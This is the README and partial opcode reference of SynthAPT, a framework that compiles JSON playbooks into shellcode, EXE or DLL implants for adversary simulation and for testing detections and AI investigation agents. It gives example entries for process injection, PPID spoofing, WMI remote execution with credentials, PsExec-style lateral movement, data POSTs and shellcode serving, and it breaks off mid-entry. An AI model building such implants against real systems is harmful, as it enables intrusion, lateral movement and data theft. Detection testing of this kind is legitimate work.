SynthAPT

Overview

SynthAPT is a playbook-based adversary simulation framework for replicating complex attack paths. It is designed for validating advanced detections and AI-based investigation agents. The core idea is that malware behavior can be expressed in JSON and compiled into functional malware, enabling rapid development of realistic scenarios using LLMs.

The core implant is a shellcode payload driven by a playbook interpreter. A playbook predefines the full attack path and the implant follows it, moving throughout the environment via process injection, lateral movement, etc. Each implant spawns as an independent thread with its own instruction set, so multi-stage attacks (e.g. initial access → privesc → lateral movement → exfiltration) are expressed as a graph of cooperating implants, all defined upfront in the playbook. This has three major advantages:

1. Payloads can mimic real malware without C2 infrastructure - the full attack path is embedded in the payload and C2 interactions can be mocked
2. Payloads are repeatable - they execute the entire attack path identically every time, making them suitable for regression testing detections
3. LLMs can translate threat intelligence reports and blogs directly into working payloads, without requiring offensive expertise or building malware from scratch

Features

• Position-independent shellcode - the implant is fully PIC and can be rolled into any loader or injector
• Rich opcode library - execution, token manipulation, process injection, process hollowing, lateral movement, AD enumeration and modification, registry, services, and more
• Self-replicating payloads - the implant can drop itself as an EXE or DLL with a different task set, enabling multi-stage delivery without a C2
• Flexible output formats - compile a playbook to raw shellcode, a PE EXE, or a PE DLL
• In-memory Python - a Python interpreter may be reflectively loaded at runtime, exposing all implant capabilities as a Python module for flexible scripting
• NPC simulation - 'explorer' opcodes allow unzipping and launching payloads automatically in a way that automatically reproduces user-interaction artifacts (when injected into Explorer.exe)
• TUI editor with LLM agent - a terminal-based playbook editor with an integrated Claude agent that can generate and edit playbooks from natural language or threat intelligence
• BOF Loader - functionality may be extended with standard Beacon Object Files

Building from Source

If you don't want to use the release you can compile it like so:

1. cargo
2. rustup
3. binutils-mingw-w64-x86-64

cargo install cargo-make
rustup toolchain install nightly
rustup target add x86_64-pc-windows-gnu --toolchain nightly                                                                                                                                                         
sudo apt install gcc-mingw-w64-x86-64

Build with cargo make:

cargo make build
./target/release/synthapt

This will compile the shellcode and the editor.

Use

Running SynthAPT without any commands will drop you into the editor. You can provide a Claude API key and view the changes as you prompt.

SynthAPT playbook editor and compiler

Usage: synthapt [COMMAND]

Commands:
  edit          Open the TUI editor with a playbook loaded from PATH
  validate      Validate a playbook JSON file and print any errors
  export-skill  Export the agent system prompt as a Claude Code slash command skill
  compile       Compile a playbook to a payload

If you want to use another LLM or a subscription, you can run synthapt export-skill and use that with whatever coding setup you have.

It should spit out a JSON playbook. Compile it into a payload with the compile command:

Compile a playbook to a payload

Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]

Arguments:
  <PLAYBOOK>  Path to the playbook JSON file
  [OUTPUT]    Output file path (default: payload.bin / payload.exe / payload.dll)

Options:
  -e, --exe          Compile to PE EXE
  -d, --dll          Compile to PE DLL
  -b, --base <BASE>  Override the embedded base shellcode with a custom binary
  -h, --help         Print help

Opcodes Reference

Constants can be defined as strings, hex objects, or base64 objects:

"constants": [
  "c:\\windows\\temp\\file.txt",
  { "hex": "deadbeef" },
  { "base64": "SGVsbG8=" }
]

---

end (0x00)

End of task set. Automatically appended by the compiler - you do not need to add it.

---

store_result (0x01)

Store the last operation result into a variable.

Field	Type
var	u16	required

{ "op": "store_result", "var": 0 }

---

get_shellcode (0x02)

Return the current shellcode bytes with an optional task ID and/or magic value patched in.

Field	Type
task	u8	optional
magic	u32 hex string or number	optional

{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }

---

sleep (0x03)

Sleep for the given number of milliseconds.

Field	Type
ms	u32	required

{ "op": "sleep", "ms": 5000 }

---

run_command (0x04)

Execute a command via cmd.exe.

Field	Type
command	string	required

{ "op": "run_command", "command": "whoami /all" }

---

get_cwd (0x05)

Get the current working directory. No arguments.

{ "op": "get_cwd" }

---

read_file (0x06)

Read a file and return its contents.

Field	Type
path	string	required

{ "op": "read_file", "path": "c:\\users\\public\\data.txt" }
{ "op": "read_file", "path": "%0" }

---

write_file (0x07)

Write bytes to a file.

Field	Type
path	string	required
content	bytes	optional (empty file if omitted)

{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }

---

check_error (0x08)

Print the status code of a variable (0 = success, non-zero = error).

Field	Type
var	u16	required

{ "op": "check_error", "var": 0 }

---

conditional (0x09)

Branch to different task indices based on variable state.

Field	Type
mode	"data" or "error"	required
var1	u16	required
var2	u16	optional (compare two vars instead of single check)
true	u16	required (task index if condition is true)
false	u16	required (task index if condition is false)

true_target and false_target are accepted as aliases for true and false.

Single-variable modes: - "data" — true if var1 has non-empty data - "error" — true if var1 status is 0 (success)

Two-variable modes (var2 present): - "data" — true if var1 data equals var2 data - "error" — true if var1 error code equals var2 error code

{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }

---

set_var (0x0A)

Set a variable to a literal value.

Field	Type
var	u16	required
data	bytes	optional (empty if omitted)

Literal string and hex/base64 values are stored with a 5-byte result prefix so they look like normal operation results when read back. Variable ($n) and constant (%n) references are passed through as-is.

{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }

---

print_var (0x0B)

Print a variable's contents to stdout (debug). Omit var to print the last operation result.

Field	Type
var	u16	optional (prints last result if absent)

{ "op": "print_var", "var": 0 }
{ "op": "print_var" }

---

goto (0x0C)

Unconditional jump to a task index within the current task set.

Field	Type
target	u16	required

{ "op": "goto", "target": 2 }

---

migrate (0x0D)

Inject shellcode into a process matching a search string or PID.

Field	Type
task_id	u8	required
search	string or number	optional (empty = no search; number = target PID)
magic	u32 hex string or number	optional

{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }

---

list_procs (0x0E)

List running processes. Returns tab-separated lines: pid\timage\tcmdline\n. No arguments.

{ "op": "list_procs" }

---

get_const (0x0F)

Load a constant into the last result. Accepts index or const_idx as the field name.

Field	Type
index	u16	required

{ "op": "get_const", "index": 0 }

---

wmi_exec (0x10)

Execute a command via WMI, optionally on a remote host.

Field	Type
command	string	required
host	string	optional (empty = localhost)
user	string	optional (empty = current user)
pass	string	optional (empty = current credentials)

{ "op": "wmi_exec", "command": "calc.exe" }
{ "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\\admin", "pass": "Password1" }

---

http_send (0x11)

Send an HTTP/S request.

Field	Type
host	string	required
method	string	optional (default: "GET")
port	u16	optional (default: 80)
path	string	optional (default: "/")
secure	bool	optional (default: false)
body	bytes	optional (empty if omitted)

{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }

---

sacrificial (0x12)

Spawn a process suspended, inject shellcode, and resume it.

Field	Type
image	string	required
task_id	u8	required
pipe_name	string	optional (named pipe for output capture, without \\.\pipe\ prefix)
search	string	optional (process name/cmdline to spoof PPID from)
no_kill	bool	optional (default: false — process is killed after injection)

{ "op": "sacrificial", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }

---

redirect_stdout (0x13)

Redirect stdout to a file or named pipe. Subsequent run_command output goes there.

Field	Type
path	string	required

{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }

---

shellcode_server (0x14)

Start a TCP server that serves shellcode to connecting clients. Each client receives a copy with an incrementing magic value.

Field	Type
port	u16	required
magic_base	u32 hex string or number	optional

{ "op": "shellcode_server", "port": 8080 }
{ "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }

---

resolve_hostname (0x15)

Resolve a hostname to an IPv4 address string.

Field	Type
hostname	string	required

{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }

---

psexec (0x16)

Copy a binary to a remote host via SMB and execute it as a service (PsExec-style lateral movement).

Field	Type
target	string	required (hostname or IP)
service_name	string	required
display_name	string	required
binary_path	string	required (path on the remote host)
service_bin	bytes	required (binary data to write)

{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\\windows\\temp\\svc.exe", "service_bin": "$0" }

---

generate_exe (0x17)

Generate a PE executable with the current shellcode and bytecode embedded.

Field	Type
task_id	u8	required

{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }

---

run_bof (0x18)

Execute a Beacon Object File (BOF).

Field	Type
bof_data	bytes	required
entry	string	optional (default: "go")
inputs	bytes	optional (BOF arguments, empty if omitted)

{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }

---

query_ldap (0x19)

Query an LDAP directory.

Field	Type
base	string	required (base DN)
filter	string	required
scope	u8	optional (default: 2 = subtree; 0 = base, 1 = one-level)
attribute	string	optional (empty = return all attributes)

{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }

---

set_ad_attr_str (0x1A)

Set an Active Directory attribute to a string value.

Field	Type
dn	string	required
attr	string	**req